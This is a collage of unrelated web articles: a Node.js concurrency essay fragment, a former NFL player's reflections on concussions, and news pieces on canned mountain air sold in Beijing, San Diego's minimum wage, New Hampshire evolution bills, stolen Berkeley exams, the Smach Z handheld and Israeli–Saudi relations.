implemented at all.  In Node, everything but your code, runs in parallel.  Everything that can be handled via parallelism for you, is. But because your code is never run in parallel and always in a single thread, issues of thread-safety and mutability fall away. This provides many of the benefits of parallelism for the common use case without presenting the developer with near the additional complexity.  Again, I would argue that the way Node handles parallelism again mirrors how we as humans process thoughts, not in parallel, but with highly efficient multi-tasking.  Language X has a non-blocking server too...  Non-blocking I/O is not a new thing, but what makes Node different is the platform is built entirely around this principle. Non-blocking is philosophically adopted as the rule, not the exception. So when you go to grab that Node MySQL library, you can expect it will be fully compatible with your non-blocking application. Generally this cannot be said of other event driven frameworks written in other dynamic languages.  No language or platform is without tradeoffs, but hopefully I've illuminated what I believe makes Node special both as a practical problem solver and an interesting academic exercise.
-"Wow! I just got my bell rung."  That's what we used to say growing up playing youth football in the late 1970s. I remember the first time -- I wore it like a badge of honor. I got my first concussion! I immediately said, "Put me back in, Coach!"  Including peewee football, Pop Warner, high school and college, all the way through to my 16 years in the NFL, I played tackle football for about 30 years -- more than half my life -- and I can honestly say I have no idea how many concussions I have had. One reason for that: There was no "concussion protocol" when I played, even up until the time I retired in 2005. After a hard hit to the head, you just got up, shook your head, saw some stars and tried to play through it. If you were hit hard enough to come out of the game, you were asked, "How do you feel?" and, "What's your address?" and, "How many fingers?" If you answered correctly, then you could go back in the game.  Today's game is much different. The good news is, in 2016, if there is even a question as to whether a player is concussed, he must go through a much more complex series of tests and his helmet is taken away. If it is determined he suffered a concussion, then he must sit out at least the following week.  The reality is, football is a contact sport and concussions will continue to occur.  My kids are athletes and love to play all sports. They have gravitated towards baseball and basketball, which makes me exhale. Why? Because football has done so much for me and brought me so much joy that it's hard for me to speak ill of the sport in any way whatsoever. It has been at the core of my existence on this planet. I am the son of a retired NFL and NCAA football coach, and my brother Skip is a veteran NFL assistant coach currently with the LA Rams (still getting used to saying that!). Ours is a bona fide American football family. I cannot pretend I didn't have dreams of my sons following my footsteps onto the gridiron. I was the runner-up to Barry Sanders for the Heisman Trophy in 1990 and often fantasized about my son winning it... If my kids were as passionate about football as I was, I don't know how or if I could say no to them.  Enter my wife, Holly.  She's not your average "football wife." I married a die-hard lifelong Eagles fan and, as they say, I "out-kicked my coverage" with her! She is a force and is never shy about expressing her opinions!  Holly has made it clear about her extreme unease with the concept of our sons playing the sport that brought us so many highs. She, like me, feels a bit hypocritical because of her love of the sport and her dreams of watching the Peete boys extend the family football legacy. But, she has also nursed me back from countless concussions, a torn patella, two torn Achilles tendons, surgeries, rehabs, busted fingers and everything in between. I think for her, repeating that movie with her boys is not something she wants to relive. Injuries are a part of any sport, but the effects of concussions down the line scares the mess out of her.  For me, to be 100 percent honest, the fear of the unknown is unsettling when I sit alone and dream of my cognitive health 10 or 15 years from now. Although I feel fine, the delayed effects of so many blows to the head understandably worries me.  I have been personally touched by the impact of Chronic Traumatic Encephalopathy (CTE), which is a disease brought on by repeated brain trauma. I was great friends and teammates with the late, great Junior Seau, who had CTE and took his own life. I will never get over losing him. I just lost my former teammate Kevin Turner to ALS that he felt was linked to too many hits. My former teammate and dear friend Erik Kramer also recently attempted suicide, and though we don't know for sure that he has CTE, it is all still so jarring for me because these are my contemporaries.  And, so, I speak their names because we must continue to spread awareness to help make the game safer and to rally to take care of those who are suffering now.  As for me, the damage has been done, so what do I do now?  First, I thank God every day for a loving, proactive wife. She is all over me to stay in front of this thing. Thankfully, the advances in medicine and technology are allowing us to actively study and discover ways to treat, protect and heal the brain. The Football Players Health Study at Harvard University is using a whole-player, whole-body approach, studying not just the brain but the entire player and his history to get a more comprehensive snapshot that will help improve the care and treatment of players like me and so many who came long before -- and after.
-As an experiment, the two captured as much air as they could in a large Ziploc freezer bag, closed it, and put it on eBay—it eventually sold for 99 cents. Their second attempt started a bidding war, someone bought the bag for an astounding $168, sparking the idea for what's now Vitality Air.  The pair stumbled into the business venture in 2014 after talking to friends who were frequent visitors to Asia and would tell them about poor air quality in China, specifically.  The city recommended that schools stay closed, and residents take public transit instead of driving or walking. Those who did step out were encouraged to wear masks — and some turned to ordering the air canisters created by Troy Paquette and Moses Lam.  From December 8 to December 10, Beijing was under its first-ever red alert — the highest in the four-level system adopted two years ago — for air quality, with children and the elderly being told to stay inside.  It may have started out in jest, but two Canadians are now profiting off a smog "red alert" in Beijing, as Chinese people buy canisters of fresh air from the Rocky Mountains.  Read more  It may have started out in jest, but two Canadians are now profiting off a smog "red alert" in Beijing, as Chinese people buy canisters of fresh air from the Rocky Mountains.  From December 8 to December 10, Beijing was under its first-ever red alert — the highest in the four-level system adopted two years ago — for air quality, with children and the elderly being told to stay inside.  The city recommended that schools stay closed, and residents take public transit instead of driving or walking. Those who did step out were encouraged to wear masks — and some turned to ordering the air canisters created by Troy Paquette and Moses Lam.  The pair stumbled into the business venture in 2014 after talking to friends who were frequent visitors to Asia and would tell them about poor air quality in China, specifically.  As an experiment, the two captured as much air as they could in a large Ziploc freezer bag, closed it, and put it on eBay—it eventually sold for 99 cents. Their second attempt started a bidding war, someone bought the bag for an astounding $168, sparking the idea for what's now Vitality Air.  "The way we capture the air now is a bit of a trade secret," Paquette, who goes down to Banff and Lake Louise from Edmonton, Alberta to fill giant cans with air through clean compression, and brings it home to bottle it, told VICE News.  "As much as it started out as a novelty idea, with the really bad smog they've had in Beijing, we're finding people are buying it as more than just a novelty, but for everyday use" he says. "There's been quite a demand."  Image via Vitality Air  The canisters have a cap mask attached to it and contain about 150 1-second sprays.  Single and twin packs of cans are being sold from $16 to $46. Aside from China, interest has also come from places like Iran and Afghanistan, said Paquette.  Paquette says it took a while for the product to gain any traction, but since the smog alert issued in Beijing last week, demand has skyrocketed.  Lam told the Telegraph their first shipment of 500 bottles was sold in four days, and a crate containing 4,000 more is on its way to China.  And Paquette said distributors in China have expressed interest in carrying Vitality Air in stores.  Heavy — China Xinhua News (@XHNews)December 15, 2015  But the concept of breathing in air from another location to deal with thick smog isn't completely novel.  For example, to promote tourism in the area and to raise awareness about China's air pollution crisis in 2014, the Laojun Mountain Natural Reserve Development Co. gave residents of Zhengzhou — one of the most polluted cities in the country — a chance to breathe in fresh mountain air from sealed bags.  And Vitality Air isn't the only business capitalizing on the smog. On Monday, a restaurant in Jiangsu Province was caught adding an "air cleaning fee" to customers' bills, some media reported.  Follow Tamara Khandaker on Twitter: @anima_tk
-NBC 7's Steven Luke reports on the testimony before the City Council on Monday, July 14 and the effects the vote could have on others in San Diego. (Published Tuesday, July 15, 2014)  The San Diego City Council approved a hike to the city's minimum wage and a chance to earn five sick days a year at a special Monday evening hearing.  After hearing comments from councilmembers and the public for two and a half hours, the council voted 6-3 along party lines on the measure that bumps the wage to $9.75 on Jan. 1, 2015, $10.50 in 2016 and $11.50 in 2017.  That phased-in minimum wage hike represents quite a comedown from an original proposal of $13.09 an hour, and its backers are pointing to the example of a local grocery chain that's already gone to $10 an hour, so far without price increases.  "We are family-owned, and if that means at the end of the day that there's a little bit less for the people who own Jimbo's, so be it,” said “Jimbo’s …Naturally” founder and owner Jim Someck. “But I've found in the past when we make changes like that, somehow the bottom line tends to continue to stay strong.  SD Fact Check: Minimum Wage Increase Enforcement  How will the increase of the minimum wage in San Diego be enforced? Scott Lewis and Lisa Halverstadt from the Voice of San Diego take a look at how local leaders intend to regulate the raise. (Published Friday, July 11, 2014)  “Whether that's because we get more efficient, or because the volume of the company goes up -- sales increase, customers get treated better -- it just has a rippling effect. When we do something right, it takes care of itself."  In an interview Monday at Jimbo’s downtown location in the Westfield Horton Plaza mall, Someck said employees at his five locations in San Diego County average between $14 and $15 an hour and receive no tips.  He told NBC 7 that he'll look to keep ahead of not just the state's minimum wage, but whatever might be in effect citywide going forward.  City Council to Decide on Minimum Wage Increase  The San Diego City Council is expected to vote on an ordinance tonight that could raise the minimum wage to $11.50 by 2017. NBC 7's Nicole Gomez has a preview. (Published Monday, July 14, 2014)  Jimbo’s is giving its higher-paid workers commensurate raises too, in the belief that they help recruit and retain experienced workers – and is just good business.  "I don't think there's any reason to penalize people who have been here and gotten the experience,” Someck explained. “If we're raising the bottom-line people, then we can also take care of the people who have been here for a while."  But critics of the city measure say Jimbo's has a specialized employment structure with a clientele that can afford products at higher price points.  Moe Sadighian, who operates three cafes downtown, said minimums above the state's will pressure other businesses to give raises to their better-paid workers as well.  "Somebody who's making above the minimum wage is expecting the same amount of increment in their wage,” said Sadighian, whose partnership owns Mariscos El Pulpo, Funky Sanchez’s and The Reef in the Gaslamp Quarter.  According to Sadighian, friends with smaller restaurants fear they'll need to shorten work shifts, resort to layoffs and lose customers who balk at increases in menu prices that will have to be made.  “They have six to eight, nine to ten employees and they tell me if this happens, they're not going to make it,” Sadighian related. “No one's going to pay $4 for a taco when average taco is going for $2."  Sadighian believes there’s a chance employees actually will wind up making less following a minimum wage hike: "Let's be very frank about it. They live off their tips. Their tips is where they make the most money. So when (a minimum wage increase) happens, there's less customers. There's less tips."  The minimum wage measure is linked to a proposal calling for five days of "earned sick leave".  Opponents are expected to launch a ballot challenge.
-Two new bills have been introduced and referred to the House Education Committee tackling the science curriculum currently taught in public schools in New Hampshire.  Rep. Jerry Bergevin is serving his first (and hopefully last) term and introduced the first bill, which would require schools to teach evolution as a theory, and would include “the theorists’ political and ideological viewpoints and their position on the concept of atheism.” I’m not sure why this would be relevant or anyone’s business, but I’m sure he’ll clarify and explain his reasoning coherently…  “I want the full portrait of evolution and the people who came up with the ideas to be presented. It’s a worldview and it’s godless. Atheism has been tried in various societies, and they’ve been pretty criminal domestically and internationally. The Soviet Union, Cuba, the Nazis, China today: they don’t respect human rights.”  *Phew* For a minute there, I thought he might say something asinine, offensive, and totally false.  There are so many things wrong with that quote and it begs me to wonder how, yet again, the most ignorant among us continue to infiltrate government positions. Bergevin also made this statement:  “As a general court we should be concerned with criminal ideas like this and how we are teaching it… Columbine, remember that? They were believers in evolution. That’s evidence right there.”  Are we really going to do a head count for who has done more harm based on their religious or non-religious ideations. Some bad people might be atheists, but they aren’t bad because they are atheists and most bad people who are atheists aren’t doing bad things in the name of atheism.  Reps. Gary Hopper and John Burt introduced the second bill, which has a slightly higher probability of actually being passed but is equally as obnoxious. Basically, they are challenging science as a field altogether, even going so far as to say:  “I want the problems with the current theories to be presented so that kids understand that science doesn’t really have all the answers. They are just guessing.”…  Hopper wants Intelligent Design taught in classrooms, but hasn’t yet been able to find an example of it being successfully legislated into schools…  Um, maybe that’s because there isn’t a shred of real evidence to support such a theory and one might even make the claim that Intelligent Design is one step short of a guess.  He then attempts to tug on the heartstrings by claiming to care about the students’ sense of purpose in life.  “But more and more scientists are coming to the conclusion that it was not even remotely possible that it happened by accident. I want to introduce children to the idea that they have a purpose for being here.”  Thank goodness there is at least one voice of reason out there. Eugenie Scott, Executive Director of the National Center for Science Education, speaks out:  “Yes, it is the case that scientific explanations change with new data, but at some point you reach the stage where there is an agreement among scientists… You’re not improving science education for young people by pretending that well-established ideas are up for grabs. The idea of evolution, that living things have common ancestors, is not being challenged in science today,” she said.  She added that Bergevin’s bill “should be obviously unacceptable to legislators on its face. They ought to be able to see pretty quickly that this bill is just silly.”  Oh, how I hope Scott is right.  This topic goes round and round, with a different ringleader each time and usually — hopefully — the same results. Intelligent design has no place being taught in public schools and is, at best, a farfetched and highly implausible theory that counters everything that science represents (and not in an “intelligent” and challenging kind of way). Let’s hope common sense and reason are plentiful in New Hampshire on voting day.
-Bill Gates talks to reporters in the lobby of Trump Tower in New York, Tuesday, Dec. 13, 2016. (AP Photo/Seth Wenig)  NEW YORK - Bill Gates says he and Donald Trump talked big ideas Tuesday in Trump Tower.  The co-founder of Microsoft Corp. told reporters that he and the president-elect had a "good conversation about innovation, how it can help in health, education, the impact of foreign aid and energy" as well as "a wide-ranging conversation about power of innovation," the Associated Press reports.  CNBC also posted a videotaped interview in which Gates said that Trump could possibly motivate the country in the same way that John F. Kennedy did in the early 1960s.  "In the same way President Kennedy talked about the space mission and got the country behind that," Gates said, "I think whether it's education or stopping epidemics, other health breakthroughs, fighting polio. And in this energy space, there can be a very upbeat message that (Trump's) administration (is) going to organize things, get rid of regulatory barriers and have American leadership through innovation."  Gates said it was the first time he had spoken with Trump, though he said they have mutual friends.  In addition to Gates, Trump met Tuesday with rapper Kanye West and Vogue editor-in-chief Anna Wintour, a Trump transition official said.  Trump also held a meeting with TV personality Omarosa Manigault, Cleveland Pastor Darrell Scott and NFL legends Jim Brown and Ray Lewis to discuss a program to help youth caught up in gang violence.  "We couldn't have had a better meeting,” Brown said. “The graciousness, the intelligence, the reception we got was fantastic.”
-Rubbish truck dumped body at Melbourne tip, police say  Updated  The body of a man found dumped a tip at Hampton Park, in Melbourne's south-east, this morning was brought in on a rubbish truck, detectives believe.  A tip worker found the body face down in rubbish at the Hallam Road site around 8:00am.  The employee first thought the body was a mannequin.  Police were yet to identify the man or how he died but Detective Senior Sergeant Shane O'Connell believed he died recently.  "We believe that he was brought in one of the trucks this morning," he said.  "It's very disturbing. No-one deserves to be in the position this gentlemen finds himself in."  A spokeswoman for Sita, the company that runs the landfill, said they were cooperating with police.  The landfill takes general household rubbish, commercial and industrial waste and construction and demolition materials.  Topics: murder-and-manslaughter, hampton-park-3976  First posted
-A UC Berkeley sociology reader’s backpack, which contained about 50 students’ final exams, was stolen Wednesday — but merely a day later, the backpack and all the exams were recovered, thanks to a vigilant campus alumnus.  Professor Joanna Reed, who teaches Sociology 130AC — otherwise known as Social Inequalities: American Cultures — received a call Wednesday from Aaron Platt, one of the three readers for her approximately 150-student course, notifying her about the theft.  “He went and tried to look around the neighborhood,” Reed said. “He didn’t find (the exams).”  Reed said Platt was unharmed in the robbery and called it “a crime of opportunity” rather than a violent mugging.  After discussing the situation with other members of the sociology department, Reed emailed the affected students Wednesday about 9:15 p.m. via bCourses, informing them of the theft and outlining two options: allowing Reed to base their final grade on the work they did before the final or taking a make-up exam at the start of the spring semester.  Reports of the theft first surfaced in a screenshot of Reed’s email that was posted in the Facebook group UC Berkeley Memes for Edgy Teens, run in part by members of the Daily Cal editorial staff.  Forrest Li, a UC Berkeley sophomore whose exam was stolen, was going to allow Reed to base his final grade on the rest of his coursework, as he felt that he did well in the course until the final exam.  “I was pretty happy because I didn’t really do that well on the final,” Li said with a laugh.  Campus senior Sheriden Lucero, however, was shocked and upset when she received Reed’s email: She felt that both of the options were unfair. In an email she sent to Reed, Lucero said she felt that she had done very well on the final and did not want to settle for “a lesser grade” by accepting the first option.  Reed acknowledged that some students were displeased about the options, but the concerns became irrelevant once she received an email Thursday from Berkeley resident Chris Helwig, who had found the exams.  Helwig, a UC Berkeley alumnus, saw the exams in a pile at Tremont and Prince streets, near the Ashby BART station, when he was commuting to San Francisco for work. He noticed Reed’s name on the covers of the Blue Books and later looked up Reed online to notify her about the abandoned backpack. Platt was able to pick up his backpack — and all of the stolen exams — off the street later that day.  “I just thought it would be the right thing to do to find out who (the backpack) belonged to … I’m happy that (the exams) were recovered,” Helwig said.  Reed said she never expected to recover the final exams and was pleasantly surprised by Helwig’s email. She repeatedly expressed her gratitude for Helwig’s good-Samaritan attitude.  According to Reed, Platt told her that while the exams smelled heavily of vodka, they were otherwise in good condition.  Reed was doubtful that the exams had been tampered with, saying it was “not something we’re really worried about.” She added that she and Platt did not suspect that any students in the class were behind the theft.  In an email to the entire class sent Thursday about 9:28 p.m. via bCourses, Reed said that final grades would be calculated normally now but that final grades would not be released until Jan. 3, given the delay in obtaining the exams.  Although many students were relieved that the original exams were found, some expressed irritation with the situation.  “This is an institution that we pay so much money for … and we work hard, and the fact that our grades can be affected by something as extraordinary as that is just upsetting,” Lucero said. “We pay for a level of professionalism, and they didn’t deliver on that.”  Reed agreed that the past few days had been tumultuous and dramatic, but said she was relieved that in the end, everything would proceed as usual.  “The good news is we got all of the exams back. That’s ideal,” Reed said. “That’s what we want — to treat everyone fairly and to make sure that all the work that people put into studying for the final and writing the final is (recognized).”  Chantelle Lee is an assistant news editor. Contact her at [email protected] and follow her on Twitter at @ChantelleHLee.
-CLOSE A safety alert was issued by the FBI and ATF after an anonymous user posted threats to the image-sharing website 4chan. Video provided by Newsy Newslook  The University of Pennsylvania campus in Philadelphia. (Photo11: Daniel Burke)  Universities in Philadelphia on Sunday were warning students and faculty about an "unspecified" threat of violence being monitored by local and federal law enforcement agencies.  The FBI and Bureau of Alcohol, Tobacco, Firearms and Explosives (ATF) warned that threats of violence due to take place at 2 p.m. ET Monday had been made against "an unspecified university near Philadelphia," several schools said on their websites.  The University of Pennsylvania, Temple University and Drexel University sent out alerts. Authorities said they had no knowledge of specific threat to students or to a particular university.  A statement on the University of Pennsylvania's website warns of an "unspecified" threat to Philadelphia universities on Monday (Photo11: University of Pennsylvania)  A statement on Drexel's website said the threat came via "a recent social media posting" after last week's shooting at Umpqua Community College in Oregon. Since the shooting, the statement said, "the FBI has seen similar social media postings throughout the country."  It continued: "Although the FBI has assured us there is no specific threat to a particular college or university, we are taking this very seriously and are taking extra precautions to protect the Drexel community."  The schools planned to operate normally Monday, The Philadelphia Inquirer reported, but the statements urged students to report any suspicious activity. Drexel said it planned to increase patrols and had asked campus police and security officers to "report and investigate any suspicious person or package."  Read or Share this story: http://usat.ly/1LdEccH
-This is a like a long lasting drama. Some guys wanted to make a handheld and started making promises without having a prototype. It showed and they had to back down after a first disaster Kickstarter campaign. In the meantime, they secured some cash from investors, managed to be at the GamesCom 2016 with a prototype, and they have just relaunched their Kickstarter campaign with success – at the time of writing they already achieved their funding goal of 250k Euros, well ahead of the deadline. Not everyone gets second chances but I think they have learned from their mistakes and have come back with something to show that is more tangible than before.  The specs have now been fixed and you will get the following (based on their Kickstarter page):  CPU: AMD Merlin Falcon RX-421BD (12-15w) SoC at 2.1 GHz  Cores: 4/4  iGPU: Radeon R7 at 800 MHz  RAM: 4GB (SMACH Z) || 8GB (SMACH Z PRO) DDR4 2133 MHz  HD: 64GB (SMACH Z) || 128GB (SMACH Z PRO)  Screen: 6” FULL HD (1920×1080). Capacitive touch-screen.  Battery: 5 hours of gaming.  MicroSD Card Slot.  USB 3.0 type C.  HDMI video output connection.  Wi-Fi connectivity 5.0 Ghz. 4G LTE mobile network connectivity (PRO model only)  Bluetooth connectivity.  Front-camera 1.3-megapixels (PRO model only)  I think it is smart that they decided to go with AMD instead of Intel. Intel has recently announced that they will slowly discontinue their x86 line of SoCs for tablets and smartphones (the Atom line) making it very unlikely in the future to have such portable gaming devices using Intel with the x86 architecture (the folks behind the GPD Win mentioned this issue as well).  Us Linux gamers know that AMD has a pretty weak reputation when it comes to performance, but things are improving and we have seen that their Vulkan driver seems to be already ahead of their OpenGL one for the games that support both APIs. By 2017 we can only hope this will improve further. And as said earlier, there’s simply no choice from now on for mobile gaming, it’s AMD or nothing. Nvidia does not have any x86 SoC (their Tegra is only for ARM).  OK, but will it really be powerful enough to play most demanding games?  A Question of Performance  Looking at the AMD Merlin SoC, you can find from their specs sheet that:  The integration of AMD Radeon™ graphics via the third-generation Graphics Core Next (GCN) architecture enables the AMD Embedded R-Series SOC to deliver up to 58% more graphics performance than the Intel Core i7-5650U based on the 3DMark® 11 (Performance) benchmark, and 22% moregraphics performance than the previous generation AMD Embedded R-Series RX-427BB processor based on the 3DMark 11 (Performance) benchmark.  Note that the benchmark they refer to is not purely apple to apple, since they used DDR3-2133 for their AMD chip while the Intel reference only used DDR3-1600. Not completely fair, but hey, even specs sheets can almost be considered as PR piece these days.  Anyway, let’s assume we trust this, what kind of gaming performance can we realistically expect then ? Looking at what a Intel Core i7-5650U can do can give us some indication. Based on what the MacBook Air 13 inches delivers, we can see the following in 1366×768 resolution:  Tomb Raider 2013 : 34 fps on average (medium details)  : 34 fps on average (medium details) Bioshock Infinite : 26 fps on average (medium details)  : 26 fps on average (medium details) Alien Isolation: 26 fps on average (medium details)  Not too bad, but let’s keep in mind that the Smach Z has to drive a Full HD screen, which is substantially way more pixels (192% more than 1366*768) so even if the processor is indeed 158% faster than the Intel mentioned above, it should result in a loss of framerate compared to the results shown on the MacBook. Anyway, that means that the most demanding games of 2013 to 2014 will be running at around 20 fps in medium details in FullHD.  It is therefore not very surprising that they tend to show their benchmarks in their Kickstarter campaign in 720p more often than not – note that these figures are for Windows10, so you should probably expect lower performance for most of these games on Linux (as we know not all ports are on parity with Windows):  Metro: Last Light Redux ( 720p . High settings) ~ 35 FPS (also available on Linux)  . High settings) ~ 35 FPS (also available on Linux) Company of Heroes 2 ( 720p . Medium settings) ~ 25 FPS (also available on Linux)  . Medium settings) ~ 25 FPS (also available on Linux) Jotun (1080p) ~ 45 FPS  Skyrim ( 720p . High setting) ~ 25 FPS  . High setting) ~ 25 FPS Just Cause 2 ( 720p . Medium settings) ~ 35 FPS  . Medium settings) ~ 35 FPS Spiral Knights (1080p) ~ 50 FPS  Overwatch ( 720p . Medium) ~ 30 FPS  . Medium) ~ 30 FPS Torchlight II (1080p. Very high settings) ~ 35 FPS (also available on Linux)  Xcom: Enemy Unknown ( 720 p. High settings) ~30 FPS (also available on Linux)  p. High settings) ~30 FPS (also available on Linux) Civilization 5 (1080p. High settings) ~ 28 FPS (also available on Linux)  Tomb Raider: Survivor ( 720p . Medium settings) ~ 40 FPS  . Medium settings) ~ 40 FPS Alien: Isolation (720p. Ultra settings) ~ 35 FPS (also available on Linux)  That’s all good and well, but when the Smach Z comes out in 2017, it’s unlikely that it will run any of the latest AAA games from 2016 or early 2017 very well at all. So it’s a matter of expectation settings. This being said, it will probably still run indie games just fine. As well as Rocket League! I have to admit that have a machine on the go to play Rocket League is a very alluring proposition!! I can also imagine there’s a bunch of gamers out there who would not mind having XCom or Civilization on the go.  The choice of a 1080p is a little disappointing to be honest. They basically caved in to fan pressure, but it’s going to cause some major issues:  Running games at 1080p will lead to disappointing framerates more often than not  Running games made for desktop PC at 1080p on a 6 inches screen will make text very tiny and hardly readable.  Running games in 720p on a 1080p will result in upscaling artefacts. Not nice at all on LCD screens.  A 1080p screen will consume more power than a 720p screen, so less gaming time in the end.  So what to make of it ? It will be a good portable system for low-medium details gaming, but you won’t get the “PC Experience” in such a format (as in, you will not get the steady 60 fps you get from your fast GPU nor the high detailed textures and effects). Is that still better than what’s available out there ? Right now, yes, but by the end of 2017, who knows, there may be a lot of alternatives (including the Nintendo Switch, I guess?).  Incidentally, the Switch and the Smach Z have about identical dimensions:  The Switch has been rumored to be 23 cm wide with a 6.5 inches screen  The Smach Z will be 25 cm wide with a 6 inches screen  Of course the comparison is a little absurd in absolute terms. You will only be able to play Nintendo games on the Switch, while the Steam catalog is supposed to be much broader from Day 1 on the Smach Z. But they still fit in the same category of “portable gaming consoles”.  So, what about Linux ?  While Smach Z was in the first place made for SteamOS (in the first place Smach was an acronym for Steam Machine!), they have now switched gears to support Windows 10 as well as a custom Linux distro – Windows 10 was a request from many supporters of the previous campaign, and they have probably felt the pressure to support Windows as other competitors like the GPD Win support it anyway by default.  There are very few details regarding what they call Smach Z OS (their custom Linux distro):  Linux (SMACH Z OS): We’re able to modify and adapt the OS to SMACH Z creating a better interface and experience. We recommend choosing Linux for better performance. More and more games are becoming compatible with Linux with time; now are about 2,500.  Better performance? That remains to be seen. Better look overall (boot directly in Steam Big Picture Mode, more customization, etc) I am willing to believe. Another interesting aspect is going to be battery life on Linux vs Windows. For most laptops it is very hard to get remotely the same battery life on Linux vs Windows, we will see if they can address this on their hardware.  Design: The Good and The Bad  They now have a working prototype so it does not feel like vaporware anymore, while they expect the final version to be slightly more compact.  They claim to get 5 hours of gaming, but that seems highly unrealistic since the SoC will already claim 15 W or even more in turbo mode, which will lead to high power consumption in no time if you are gaming with it on and on. They could include a large battery, but this is going to be a trade-off in the end between how compact and how heavy the final device aims to be. They seem to target 400 grams for the device as a whole, well I am afraid it will be very challenging to get 5 hours of gaming with so little weight. We will see.  Control-wise, the choice to copy the Steam Controller is not bad per se, but it makes the device really long and it certainly will not fit in any regular pocket anymore. 25 centimeters! Your regular pocket is rather 12 to 15 centimeters. The lack of a D-pad is also a potential drawback for certain games, even though they still plan to provide the option to buy some plastic plugs to go on the haptic pads to simulate an actual Dpad or specific buttons. This may be a good idea but I would really like to see how it feels in practice. Then, there is the lack of keyboard. For many Steam games this is not an issue, but there are a lot of Steam games that require some kind of keyboard controls, and this will likely be a drawback of the current design vs the GPD Win.  Now for the storage. 64Gb by default will not get you very far – you can already assume several gigs will be gone because of the OS and potential swap partition, and whatever is left is going to be consumed very fast if you install several AAA games, especially the ones they have listed. AAA games these days can easily take 20 to 30 Gb and this number keeps inflating year after year. So one of the issue of such a flash-memory based console is that it will be pretty difficult to have many AAA games on it at the same time (sure, you can purchase another 32Gb MicroSD card, but that won’t fundamentally change the fact that it would be much more comfortable to have 256 or 512 Gb).  Then the price may be something of a show-stopper for many. The Basic version of the Smach Z is going at 299 Euros on Kickstarter, but they mention the retail price will be much higher. I am not sure how much more it is going to be, but maybe 400 Euros ? For a dedicated gaming machine, it may be a little expensive, but who knows? The PC gaming crowd may not be as budget-sensitive. And in a way, it’s cheaper than a console since you don’t have to buy your games again – whatever is in your Steam Library can be played for not additional fee.  Now for the good. It will only have passive cooling, which should be a major advantage versus the GPD Win (with its ridiculous fan). At least it will behave like a portable machine in that regard.  Then there is the upgradability bit. It’s still fuzzy at this stage because it’s very much at the bottom of their Kickstarter page, but in short:  With Clickarm the performance of your SMACH Z can be improved even after its purchase. You will be able to purchase more modules of RAM, HDD or even a new SoC and install it easily yourself or send it to us.  It sounds very similar to what is planned for the DragonBox Pyra (which will have a separate SoC board that can be exchanged for a better one later on), and that certainly increases the appeal of this device for me, if it can behave like a mini-PC in that sense.  Finally, the fact that it is going to be an Open device that you can fiddle with is a massive win. On Linux I am assuming you will also be able to use it as a full-fledged computer with the HDMI connection you could imagine using it as a laptop replacement provided you have a Bluetooth or USB keyboard with you. You will also be able to install emulators and that should open up the possibility of PS2 and Gamecube/Wii emulation on the go. That sounds really great.  My Final Thoughts  There is still a non-negligible chance that such a project tanks along the way, or fails to deliver on the hype, so I will never recommend anyone to crowdfund such a project unless they are well aware of the risks. For my part, if they manage to deliver this device at this price range and if nothing else beats it to market by end of 2017, I will certainly consider it for purchase, because there is virtually nothing out there like it at the moment.  The best thing we can hope is that this project gives some ideas to other manufacturers to do something similar. Having more x86 handheld, gaming-capable PCs is not a bad thing, especially if they support Linux.  At BoilingSteam, we strongly dislike ads and that is why you won't find any during your visit. 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-The winds of war in the Middle East, specifically pitting Iran against Saudi Arabia, are turning into a full-blown sandstorm. And the latest evidence of this comes from a surprising source: An interview in a Saudi newspaper.  No, a relatively short interview in an Arabic-language paper in Riyadh isn't usually a big deal. But it is when that interview is with the Chief of Staff of the Israel Defense Forces, Lt. General Gadi Eisenkot.  The interview alone is big news, as it's the first of its kind with an Israeli military official in the Saudi press. But it's what Eisenkot said in the interview that really made history and made it clearer than ever that Saudi Arabia and Iran are marching ever closer to a direct confrontation.  Here are the three Eisenkot quotes from Saudi Arabia's Elaph newspaper that deserve the most attention:  "With President Donald Trump, there is an opportunity for a new international alliance in the region and a major strategic plan to stop the Iranian threat." "We are ready to share intelligence, (with Saudi Arabia), if necessary. There are many common interests between us." "Iran seeks to take control of the Middle East, creating a Shi'ite crescent from Lebanon to Iran, and then from the Gulf to the Red Sea. We must prevent this from happening."  The creation of once non-existent ties between Saudi Arabia and Israel has been widely reported, but never publicly confirmed by either government, ever since the Iran nuclear deal was signed by the U.S. and other key Western nations. There have been coy hints to be sure, like when Israeli Prime Minister Benjamin Netanyahu gave a halfhearted "no comment" to 60 Minutes reporter Leslie Stahl when she asked him last year if Israel had improved its relationship with Saudi Arabia as part of a coalition against Iran. And neither Israel nor Saudi Arabia has yet confirmed widespread reports in the Middle Eastern media that new Saudi Crown Prince Mohammad bin Salman secretly visited Israel in September.  In that context, General Eisenkot's very public interview in a government sanctioned newspaper, (as all official newspapers are in Saudi Arabia), is a relatively massive public admission of allegiance between former sworn enemies. And the point of that admission is not to strike up the band for a rendition of Kumbaya, but to get that new coalition's ducks in a row for the ever more inevitable direct war between Saudi Arabia and Iran.  To be clear, it's not a political hot potato for the Israeli government or Netanyahu if such an alliance becomes public. While some segments of the Israeli public rebuff political leaders who make peace process concessions to the Palestinians, peace deals or cooperation with Arab nations for mutual security reasons are welcome news in Tel Aviv and Jerusalem.  It's in the Arab nations where this is very dicey. That's especially true in Saudi Arabia, the birthplace of extremist Islamic Wahabbism, where any acknowledgement of Israel's legitimacy -let alone working with the country - can be met with massive and violent protest. The world saw that in stark terms when Muslim Brotherhood assassins murdered Egyptian President Anwar el-Sadat in 1981 in retaliation for the peace deal he signed with Israel two years earlier.  But Crown Prince bin Salman apparently isn't giving any quarter the extremist old guard. In addition to plowing ahead in his hawkish stance against Iran, he's also cracking down on extremist clerics in the kingdom in a way no Saudi leader has ever even tried. At the same time, the prince has been promoting clerics who speak of tolerance for Judaism and Christianity. He's taken away the religious police's power to make arrests for "crimes" like immodesty. And, as has been reported most widely of all, he and the king have finally started to lift the nation's ban on women driving.  There is a method and a correlation to all of this. Bin Salman clearly understands that to fight Iran effectively and earn the crucial support he needs from the U.S. and Israel, he must present the world with a clear difference in culture and intentions than Iran. If the Saudis continue to abandon the long-running race to lead the world in Islamic extremist and violent piety and show a willingness to recognize and respect Israel, that will be a stark enough difference for anyone to notice. And there's a time element here as both Saudi Arabia and Israel are clearly seeing the current Trump administration in Washington as at least a silent partner in all this. But they also know this can change, so the time to move is now.  The priorities the Saudis are making make sense in the context of the more bitter and much longer-running Sunni-Shia war that's been going in fits and starts since the year 632. Hatred for the U.S. and Israel may seem supreme in radical Islamist cultures, but the Sunni-Shia divide is worse and a lot older. And with the wars in Syria and Yemen showing no signs of slowing down, hostilities between the Sunni standard bearers in Riyadh and the Shia rulers in Tehran have never been more likely.  In the past, Israel has always been a potential deal breaker for any coalition of Muslim countries 